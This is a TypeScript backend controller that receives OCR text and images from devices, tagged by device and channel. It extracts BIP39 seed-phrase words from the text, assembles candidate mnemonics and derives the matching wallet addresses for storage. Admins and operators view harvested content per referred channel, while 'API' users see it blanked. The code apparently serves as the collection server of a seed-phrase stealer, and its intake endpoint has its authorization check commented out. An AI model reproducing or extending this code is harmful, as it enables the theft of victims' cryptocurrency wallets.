OcrRecordController.ts 17 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474
  1. import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import { schema } from '@ioc:Adonis/Core/Validator'
  4. import OcrRecord from 'App/Models/OcrRecord'
  5. import Drive from '@ioc:Adonis/Core/Drive'
  6. import BlockchainWalletService from 'App/Services/BlockchainWalletService'
  7. import * as bip39 from 'bip39'
  8. import { HttpStatusCode } from 'axios'
  9. import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'
  10. import FilesService from 'App/Services/FilesService'
  11. import * as console from 'node:console'
  12. import { UserRoles } from 'App/Models/User'
  13. import UserService from 'App/Services/UserService'
  14. import { SimplePaginatorContract } from '@ioc:Adonis/Lucid/Database'
  15. export default class OcrRecordController {
  16. private paginationService = new PaginationService(OcrRecord)
  17. public async index({ request, response, auth }: HttpContextContract) {
  18. try {
  19. const { page = 1, size = 20, id, deviceId, channel } = request.qs()
  20. const user = auth.user
  21. const role = user?.$attributes?.role
  22. if (!role) {
  23. return response.forbidden({
  24. error: 'Forbidden',
  25. message: 'Unauthorized access'
  26. })
  27. }
  28. let userChannel: string | undefined
  29. if (role === UserRoles.Api) {
  30. userChannel = user!.username
  31. } else if (['admin', 'operator'].includes(role)) {
  32. const apiUsers = await UserService.findReferredUsers(user!.id)
  33. const allowedChannels = apiUsers.map((user) => user.username as string)
  34. // 如果请求中指定了channel,检查是否在允许的channel列表中
  35. if (channel) {
  36. if (!allowedChannels.includes(channel)) {
  37. return response.ok({
  38. data: [],
  39. meta: {
  40. total: 0,
  41. per_page: Number(size),
  42. current_page: Number(page),
  43. last_page: 0,
  44. first_page: 1,
  45. first_page_url: '/?page=1',
  46. last_page_url: '/?page=0',
  47. next_page_url: null,
  48. previous_page_url: null
  49. }
  50. })
  51. }
  52. userChannel = channel
  53. } else {
  54. userChannel = allowedChannels.join(',')
  55. }
  56. } else {
  57. return response.forbidden({
  58. error: 'Forbidden',
  59. message: 'You are not authorized to access this resource'
  60. })
  61. }
  62. // 构建查询条件
  63. const query = OcrRecord.query()
  64. if (id) {
  65. query.where('id', id)
  66. }
  67. if (deviceId) {
  68. query.where('deviceId', deviceId)
  69. }
  70. if (userChannel) {
  71. query.whereIn('channel', userChannel.split(','))
  72. }
  73. // 执行分页查询
  74. const result = await query.orderBy('created_at', 'desc').paginate(page, size)
  75. // 处理API用户的数据脱敏
  76. if (role === UserRoles.Api) {
  77. result.forEach((record) => {
  78. record.content = ''
  79. record.record = ''
  80. record.img = ''
  81. record.thumbnail = ''
  82. })
  83. } else {
  84. // 处理图片URL
  85. await Promise.all(
  86. result.map(async (record) => {
  87. if (record.img && record.img !== '-') {
  88. const url = new URL(record.img)
  89. const filePath = url.pathname.replace(/^\//, '')
  90. record.img = await Drive.getSignedUrl(filePath)
  91. record.thumbnail = await FilesService.generateThumbnailUrl(filePath)
  92. } else {
  93. record.img = ''
  94. record.thumbnail = ''
  95. }
  96. })
  97. )
  98. }
  99. return response.ok(result)
  100. } catch (error) {
  101. return response.internalServerError({
  102. message: '获取OCR记录列表时发生错误',
  103. error: error.message
  104. })
  105. }
  106. }
  107. public async store({ request, bouncer }: HttpContextContract) {
  108. // await bouncer.authorize('admin')
  109. await request.validate({
  110. schema: schema.create({
  111. deviceId: schema.string(),
  112. record: schema.string()
  113. })
  114. })
  115. const data = request.all()
  116. data.content = await this.recordParsing(data.record)
  117. data.detail = await BlockchainWalletService.getAllAddresses(data.content)
  118. return await OcrRecord.create(data)
  119. }
  120. public async updateContent({ request, response }: HttpContextContract) {
  121. const data = await request.validate({
  122. schema: schema.create({
  123. id: schema.number(),
  124. content: schema.string()
  125. })
  126. })
  127. const record = await OcrRecord.findBy('id', request.input('id'))
  128. if (record) {
  129. record.content = data.content
  130. await record.save()
  131. return response.ok(record)
  132. } else {
  133. return response.notFound({ message: 'Record not found' })
  134. }
  135. }
  136. public async updateDetail({ params, response }: HttpContextContract) {
  137. const record = await OcrRecord.findBy('id', params.id)
  138. if (record) {
  139. const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
  140. record.detail = JSON.stringify(walletAddresses)
  141. await record.save()
  142. return response.ok(record)
  143. } else {
  144. return response.notFound({ message: 'Record not found.' })
  145. }
  146. }
  147. public async updateFavorite({ params, response }: HttpContextContract) {
  148. const record = await OcrRecord.findBy('id', params.id)
  149. if (record) {
  150. record.favorite = !record.favorite
  151. await record.save()
  152. return response.ok(record)
  153. } else {
  154. return response.notFound({ message: 'Record not found.' })
  155. }
  156. }
  157. public async favorite({ request, response, auth }: HttpContextContract) {
  158. try {
  159. const { page = 1, size = 20, id, deviceId, channel } = request.qs()
  160. const user = auth.user
  161. const role = user?.$attributes?.role
  162. if (!role) {
  163. return response.forbidden({
  164. error: 'Forbidden',
  165. message: 'Unauthorized access'
  166. })
  167. }
  168. let userChannel: string | undefined
  169. if (role === UserRoles.Api) {
  170. userChannel = user!.username
  171. } else if (['admin', 'operator'].includes(role)) {
  172. const apiUsers = await UserService.findReferredUsers(user!.id)
  173. const allowedChannels = apiUsers.map((user) => user.username as string)
  174. // 如果请求中指定了channel,检查是否在允许的channel列表中
  175. if (channel) {
  176. if (!allowedChannels.includes(channel)) {
  177. return response.ok({
  178. data: [],
  179. meta: {
  180. total: 0,
  181. per_page: Number(size),
  182. current_page: Number(page),
  183. last_page: 0,
  184. first_page: 1,
  185. first_page_url: '/?page=1',
  186. last_page_url: '/?page=0',
  187. next_page_url: null,
  188. previous_page_url: null
  189. }
  190. })
  191. }
  192. userChannel = channel
  193. } else {
  194. userChannel = allowedChannels.join(',')
  195. }
  196. } else {
  197. return response.forbidden({
  198. error: 'Forbidden',
  199. message: 'You are not authorized to access this resource'
  200. })
  201. }
  202. // 构建查询条件
  203. const query = OcrRecord.query().where('favorite', true)
  204. if (id) {
  205. query.where('id', id)
  206. }
  207. if (deviceId) {
  208. query.where('deviceId', deviceId)
  209. }
  210. if (userChannel) {
  211. query.whereIn('channel', userChannel.split(','))
  212. }
  213. // 执行分页查询
  214. const result = await query.orderBy('created_at', 'desc').paginate(page, size)
  215. // 处理API用户的数据脱敏
  216. if (role === UserRoles.Api) {
  217. result.forEach((record) => {
  218. record.content = ''
  219. record.record = ''
  220. record.img = ''
  221. record.thumbnail = ''
  222. })
  223. } else {
  224. // 处理图片URL
  225. await Promise.all(
  226. result.map(async (record) => {
  227. if (record.img && record.img !== '-') {
  228. const url = new URL(record.img)
  229. const filePath = url.pathname.replace(/^\//, '')
  230. record.img = await Drive.getSignedUrl(filePath)
  231. record.thumbnail = await FilesService.generateThumbnailUrl(filePath)
  232. } else {
  233. record.img = ''
  234. record.thumbnail = ''
  235. }
  236. })
  237. )
  238. }
  239. return response.ok(result)
  240. } catch (error) {
  241. return response.internalServerError({
  242. message: '获取收藏记录列表时发生错误',
  243. error: error.message
  244. })
  245. }
  246. }
  247. public async getAllAddresses({ request }: HttpContextContract) {
  248. await request.validate({
  249. schema: schema.create({
  250. mnemonic: schema.string()
  251. })
  252. })
  253. return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
  254. }
  255. public async recordParsing(record: string) {
  256. // 解析记录字符串
  257. const lines = record.split('\n')
  258. if (record.includes('Rec:') && record.includes('Det:')) {
  259. // 提取所有Rec:后面的文本
  260. lines
  261. .filter((line) => line.includes('Rec:'))
  262. .map((line) => {
  263. const parts = line.split('Rec:')
  264. if (parts.length < 2) return ''
  265. // 获取Rec:之后、Cls:之前的部分
  266. const afterRec = parts[1]
  267. const beforeCls = afterRec.split('Cls:')[0]
  268. // 找到最后一个逗号的位置
  269. const lastCommaIndex = beforeCls.lastIndexOf(',')
  270. // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
  271. return lastCommaIndex !== -1
  272. ? beforeCls.substring(0, lastCommaIndex).trim()
  273. : beforeCls.trim()
  274. })
  275. .filter((text) => text.length > 0)
  276. }
  277. // 从文本中提取潜在的助记词
  278. const potentialWords = new Set<string>()
  279. const englishWordRegex = /[a-zA-Z]+/g
  280. // 遍历所有行提取英文单词
  281. lines.forEach((line) => {
  282. const words = line.match(englishWordRegex)
  283. if (words) {
  284. words.forEach((word) => {
  285. // 忽略数字和分数值
  286. if (!word.includes('.') && isNaN(Number(word))) {
  287. potentialWords.add(word.toLowerCase())
  288. }
  289. })
  290. }
  291. })
  292. // 过滤出可能是BIP39助记词的单词
  293. const potentialBip39Words = Array.from(potentialWords).filter((word) => {
  294. // 使用bip39.wordlists.english检查单词是否在BIP39词表中
  295. return bip39.wordlists.english.includes(word)
  296. })
  297. // 寻找连续助记词序列
  298. const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)
  299. console.log('Potential BIP39 words:', potentialBip39Words.toString())
  300. console.log('Potential mnemonics:', possibleMnemonics.toString())
  301. // 将所有可能的助记词合并为一个字符串返回
  302. if (possibleMnemonics.length < potentialBip39Words.length) {
  303. return potentialBip39Words.join(' ')
  304. }
  305. return possibleMnemonics.join(' ')
  306. }
  307. // 寻找可能的助记词序列
  308. private async findPossibleMnemonics(
  309. recTexts: string[],
  310. bip39Words: string[]
  311. ): Promise<string[]> {
  312. const mnemonics: string[] = []
  313. // 检查每行文本是否包含连续地助记词
  314. recTexts.forEach((text) => {
  315. const words = text.split(/\s+/)
  316. // 检查这一行是否包含多个BIP39词
  317. const bip39WordsInLine = words.filter((word) => {
  318. // 清理单词中的标点符号以及数字
  319. const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
  320. return bip39Words.includes(cleanWord)
  321. })
  322. // 如果找到多个BIP39词,可能是助记词序列
  323. if (bip39WordsInLine.length >= 3) {
  324. // mnemonics存入bip39WordsInLine中每一个元素
  325. bip39WordsInLine.map((word) => {
  326. mnemonics.push(word)
  327. })
  328. }
  329. })
  330. // 尝试从所有文本中提取12或24个词的序列
  331. // const allWords = recTexts.join(' ').split(/\s+/)
  332. // const bip39WordsInAll = allWords.filter((word) => {
  333. // const cleanWord = word.replace(/[.,;:!?]/g, '')
  334. // return bip39Words.includes(cleanWord)
  335. // })
  336. //
  337. // bip39WordsInAll.map((word) => {
  338. // mnemonics.push(word)
  339. // })
  340. // 查找12词或24词的连续序列
  341. // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
  342. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
  343. // if (bip39.validateMnemonic(possibleMnemonic)) {
  344. // mnemonics.push(possibleMnemonic)
  345. // }
  346. // }
  347. //
  348. // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
  349. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
  350. // if (bip39.validateMnemonic(possibleMnemonic)) {
  351. // mnemonics.push(possibleMnemonic)
  352. // }
  353. // }
  354. // 返回去重后的助记词列表
  355. return mnemonics
  356. }
  357. public async imgCleaning({ request, bouncer, response }: HttpContextContract) {
  358. // 授权检查
  359. await bouncer.authorize('admin')
  360. // 验证请求数据
  361. const { startDate, endDate } = await request.validate({
  362. schema: schema.create({
  363. startDate: schema.string(),
  364. endDate: schema.string()
  365. })
  366. })
  367. // 查询符合条件的记录
  368. const records = await OcrRecord.query()
  369. .whereBetween('createdAt', [startDate, endDate])
  370. .where('favorite', 0)
  371. .whereNot('img', '-')
  372. console.log(`待清理图片数量: ${records.length}`)
  373. if (records.length === 0) {
  374. return response.status(200).ok({
  375. success: true,
  376. message: '没有符合条件的图片需要清理',
  377. count: 0
  378. })
  379. }
  380. const recordImgMap = new Map(records.map((record) => [record.id, record.img]))
  381. const filePaths = records
  382. .map((record) => {
  383. try {
  384. return {
  385. id: record.id,
  386. originalUrl: record.img,
  387. path: new URL(record.img).pathname.replace(/^\//, '')
  388. }
  389. } catch (error) {
  390. console.error(`无效的图片 URL: ${record.img}`)
  391. return null
  392. }
  393. })
  394. .filter(Boolean) as { id: number; originalUrl: string; path: string }[]
  395. const pathsToDelete = filePaths.map((item) => item.path)
  396. const imgResult = await FilesService.batchDelete(pathsToDelete)
  397. const successPaths = imgResult.success
  398. console.log(`清理成功路径数量: ${successPaths.length}`)
  399. // 找出成功删除的文件对应的记录ID
  400. const successIds = filePaths
  401. .filter((item) => successPaths.includes(item.path))
  402. .map((item) => item.id)
  403. const deletedCount = await OcrRecord.query().whereIn('id', successIds).delete()
  404. console.log(`删除成功记录数量: ${deletedCount}`)
  405. const successUrls = successIds.map((id) => recordImgMap.get(id)).filter(Boolean)
  406. return response.status(200).ok({
  407. success: true,
  408. message: `清理成功数量: ${successPaths.length}`,
  409. count: successUrls.length
  410. })
  411. }
  412. }